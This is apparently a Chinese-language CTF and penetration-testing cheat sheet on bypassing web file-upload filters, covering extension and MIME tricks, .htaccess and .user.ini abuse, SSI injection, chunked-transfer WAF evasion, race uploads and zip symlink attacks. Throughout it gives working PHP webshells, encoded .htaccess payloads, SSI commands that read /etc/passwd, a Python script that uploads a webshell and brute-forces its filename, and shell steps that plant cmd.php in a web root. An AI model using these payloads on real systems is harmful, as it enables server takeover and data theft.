• MIME类型检测

MIME类型在html文件中使用content-type属性表示

常见文件名对应的MIME类型:

gif —> image/gif,png —> image/png,jpg —> image/jpg,js —> text/javascript,htm/html —> text/html

  • 大小写绕过

    例如Php,PhP

  • 文件名逻辑漏洞

    Nginx 0.8.41 -1.4.3 / 1.5.0 – 1.5.7

    上传png后访问png0x00.php即解析为php

  • 某些情况下构造1.PHP. .(点空格点)

  • 后缀变形

    Apache服务中可以利用黑名单中没有的,但是又能够被解析的后缀名

    例如php、php3、php4、php5、php7、pht、phtml、phps

  • 00截断

注:需要magic_quotes_gpc=Off,php版本小于5.3.29

POST情况下在第一个后缀名后加一个空格(0x20),使用bp->repeater->hex,将其改成0x00

  • .htaccess文件上传解析

该文件可以理解为Apache的分布式配置文件,在一个特定的文档中放置,以作用于此目录及其所有子目录,管理员可以通过Apache的AllowOverride指令来设置/etc/apache2/apache2.conf,默认是NONE,需要为ALL

1
2
3
<FilesMatch "xxx.jpg">
SetHandler application/x-httpd-php
</FilesMacth>

使用伪协议读取:

1
2
AddType application/x-httpd-php .xxx
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.xxx"

不能出现某些关键字(如phphp)时,使用反斜杠(\)拼接绕过,并开启短标签:

1
2
3
4
5
6
7
8
AddType application/x-httpd-p\
hp .jpg
p\
hp_value au\
to_append_file p\
hp://filter/convert.base64-decode/resource=shell.jpg
p\
hp_value short_open_tag 1

绕过 exif_imagetype() 读取一个图像的第一个字节并检查其签名:

1
2
3
4
5
6
7
8
方法1:
#define width 1337
#define height 1337

方法2:
在.htaccess前添加\x00\x00\x8a\x39\x8a\x39(要在十六进制编辑器中添加,或者使用python的bytes类型)
\x00\x00\x8a\x39\x8a\x39 是wbmp文件的文件头
.htaccess中以\x00开头的同样也是注释符,所以不会影响.htaccess

绕过<?=过滤

1
2
3
4
5
6
7
8
9
10
utf-7编码绕过
<Files ~ "^.ht">
Require all granted
Order allow,deny
Allow from all
</Files>
SetHandler application/x-httpd-php
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# +ADw?+AD0-system(+ACQAXw-POST+AFs-whoami+AF0)+ADs?+AD4
  • 自包含

当前目录无php文件,自包含步骤

a.设置访问权限

1
<Files ~ "^.ht">    Require all granted    Order allow,deny    Allow from all</Files>

b. .htaccess 指定当做 PHP 文件处理并解析

1
SetHandler application/x-httpd-php# <?php phpinfo();?>

c.最终

1
2
3
4
5
6
7
<Files ~ "^.ht">
Require all granted
Order allow,deny
Allow from all
</Files>
SetHandler application/x-httpd-php
# <?=system($_POST[1]);?>
  • .user.ini上传

1270588-20190903201901495-357084982

条件:

a. 服务器脚本语言为PHP

b. 服务器使用CGI/FastCGI模式

c. 上传目录下要有可执行的php文件

实例:

上传.user.ini绕过黑名单检验

1
2
3
GIF89a                  //绕过exif_imagetype()
auto_prepend_file=a.jpg //指定在主文件之前自动解析的文件的名称,并包含该文件,就像使用require函数调用它一样。
auto_append_file=a.jpg //解析后进行包含

也可以进行远程文件包含

1
auto_append_file=http://

优势:

.htaccess后门比,适用范围更广,nginx/apache/IIS都有效,而.htaccess只适用于apache

  • 超长文件名截断上传
1
2
3
windows下目录路径最大长度为256字节
Linux下目录最大长度为4096字节
php<5.2.9

使用./.

把最后的.jpg挤出去

  • 二次渲染绕过

脚本……

  • 上传svg

如果可以上传svg文件,那么必然存在xss,因为svg图片内容为xml标签

  • shtml(SSI注入)

当Web服务器为Apache和IIS(支持SSI功能的服务器)且开启了SSI与CGI支持

1
2
<!--#exec cmd="dir /"-->
<!--#exec cmd="cat /etc/passwd"-->

其他拓展名:.stm,.shtml,.shtm

  • (黑名单)NTFS隐写

Windows 下 NTFS 文件系统的一个特性,即 NTFS 文件系统的存储数据流的一个属性::$DATA,当访问a.php::$DATA就会访问 a.php,这个特点可以用于黑名单绕过

  • HTTP请求走私或双写文件或分块传输

仅支持HTTP1.1

分块传输消息体格式

1
2
3
4
5
如要发送的内容(消息体)为:123456789  
那么消息体的格式为:
9<CR><LF>
123456789<CR><LF>
0<CR><LF>

分块传输可以在长度标识处加上;作为注释,这样能够识别Transfer-Encoding数据包的waf就无法识别出该数据包了

1
2
3
4
5
6
9;kkkkk
1234567=1
4;ooo=222
2345
0
(两个换行)

Burp 分块传输插件项目地址:https://github.com/c0ny1/chunked-coding-converter

  • 配合Apache的解析缺陷

Apache的解析漏洞主要特性是从后面开始检查后缀,按最后一个合法后缀

1
2
Apache2.4.7+php5
上传aaa.php.asdasd成功

竞争上传

  • 情景

    文件上传后,检测是否合法,不合法就删除

  • 利用方式

    在删除前访问到上传的文件

    1
    2
    3
    4
    5
    <?php
    $file = 'web.php';
    $shell = '<?php eval($_POST["key"])?>';
    file_put_contents($file,$shell);
    ?>

软链接任意写(unzip)

unzip()存在软链接攻击,发现可以通过上传一个软链接的压缩包,把特定文件像个钩子一样勾出来,实现任意文件读取

1
2
3
ln -s  		// linux的软链接 类似快捷方式
ln -s /etc/passwd forever404 //会出现一个forever404文本 里面包含有/etc/passwd
/proc/self // 记录系统运行的信息状态 cwd指向当前进程运行目录的一个符号链接

操作方式

先构造一个指向 /var/www/html 的软连接:

1
2
ln -s /var/www/html test
zip --symlinks test.zip ./*

此时上传该test.zip,解压出里边的文件也是软连接 /var/www/html 目录下

接下来的思路就是想办法构造一个getshell文件让getshell文件正好解压在 /var/www/html,此时就可以getshell

构造第二个压缩包,先创建一个test目录(因为上一个压缩包里边目录就是test),在test目录下写一个shell文件,再压缩创建的test目录 此时压缩包目录架构是:test/cmd.php

1
2
3
4
5
mkdir test
cd test
echo "<?php @eval($_GET[cmd]);" > cmd.php
cd ..
zip -r test.zip ./*

当上传这个压缩包时会覆盖上一个test目录,但是test目录软链接指向 /var/www/html,解压的时候会把cmd.php放在 /var/www/html,此时达到了getshell的目的

只解压一半的压缩包(解压出错)

  • Windows 7zip

7zip的容忍度很低,只要压缩包中某一个文件的CRC校验码出错,就会报错退出。

修改方法:

准备两个文件,一个PHP文件1.php,一个文本文件2.txt,其中1.php是webshell,然后将这两个文件压缩成shell.zip

用010editor打开shell.zip,可以看到右下角有这个文件的格式信息,它被分成5部分,打开第4部分,其中有个deCrc,随便把值改成其他的值,然后保存

此时用7zip解压就会出错,解压出的1.php是完好的,2.txt是一个空文件

  • PHP ZipArchive库

ZipArchive容忍度比较高,可以在文件名上下功夫

比如,Windows下不允许文件名中包含冒号(:),可以在010editor中将2.txt的deFileName属性的值改成2.tx:,此时解压就会出错,但1.php被保留了下来

在Linux中也有类似的方法,可以将文件名改为5个斜杠(/////),此时Linux下解压也会出错,但1.php被保留了下来

Tmp脚本爆破随机临时文件名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#coding:utf-8
import requests
import time
import json

url = "http://b718a952-ff8f-46e1-b071-4d96d9b3b90e.node3.buuoj.cn/"

path = url + "/index.php/home/index/upload"
files = {"file":("a.txt",'a'), "file1":("b.php", '<?php eval($_GET["a"]);')}
r = requests.post(path, files=files)
t1 = r.text.split("/")[-1].split(".")[0]
param=json.loads(r.content)
#json.loads()用于将str类型的数据转成dict
print param
t1 = int(t1, 16)

j = t1
while True:
path = url + "/Public/Uploads/"+param['url'].split("/")[-2]+"/%s.php" % hex(j)[2:]
try:
r = requests.get(path,timeout=1)
except:
continue
if r.status_code == 429:#规避过于频繁访问导致的429
time.sleep(0.1)
continue
elif r.status_code != 404:
print path
print r.text
break
print j, path, r.status_code
j -= 1

Perl网站配合文件上传

1
2
3
4
5
6
7
8
use strict;
use warnings;
use CGI;
my $cgi= CGI->new;
if ( $cgi->upload( 'file' ) ) {
my $file= $cgi->param( 'file' );
while ( <$file> ) { print "$_"; }
}

param() 返回一个列表的文件,但只有第一个文件被放入到下文接收变量中,如果我们传入了一个ARGV文件,那么Perl会将传入的参数作为文件名读出来.对正常文件上传进行修改即可

  • 读取任意文件
  • 命令执行
1
/cgi-bin/file.pl?/bin/bash%20-c%20ls${IFS}/| 

image-20230109185334355

upload靶场

更改content-type类型

1
($_FILES['upload_file']['type'] == 'image/jpeg') ||($_FILES['upload_file']['type'] == 'image/png'

​ 上传.php文件抓包修改content-type类型为:image/jpeg、image/png、image/gif

上传未禁止类型

1
$deny_ext = array('.asp','.aspx','.php','.jsp');
   jsp   jspx   jspf   asp   asa   cer   aspx   php   php3   php4   php5   phtml  

.htaccess文件绕过

上传一个.htaccess文件名的文件内容为

1
2
3
4
5
6
7
SetHandler application/x-httpd-php  //这个是所有文件都当php读取


<IfModule mime_module>
AddType application/x-httpd-php .jpg //这个是jpg->php
</IfModule>

在上传一个jpg文件

.user.ini

先上传一个内容是的.user.ini文件

1
auto_prepend_file=5.jpg

然后上传5.jpg文件,复制图像地址,将文件名改为readme.php

图片马

​ 图片马制作

1
copy zf.jpeg/b + zf.txt/a zf.jpg

​ 直接上传zf.jpg文件利用文件包含漏洞访问,但是注意有时无法通过传参访问,可以通过访问写一个一句话木马上传14.php

1
2
3
4
5
<?php 
$file=fopen('zf.php','w');
fputs($file,'<?php @eval($_POST['zf']);?>');
?>

修改 Content-Type : multipart/form-data 并更改文件名后缀为可上传的文件

​ 首先上传一个jpg文件更改Content-Type:multipart/form-data 为其中一个为大写及Content-Type:Multipart/form-data绕过

1
if (strpos($type,“multipart/form-data”) !== False)

由于strpos()函数是区分大小写的所以此方法可以绕过.

1
allowexts = array('jpg','gif','jpeg','bmp','php4');

由于是白名单所以只能上传php4为后缀的文件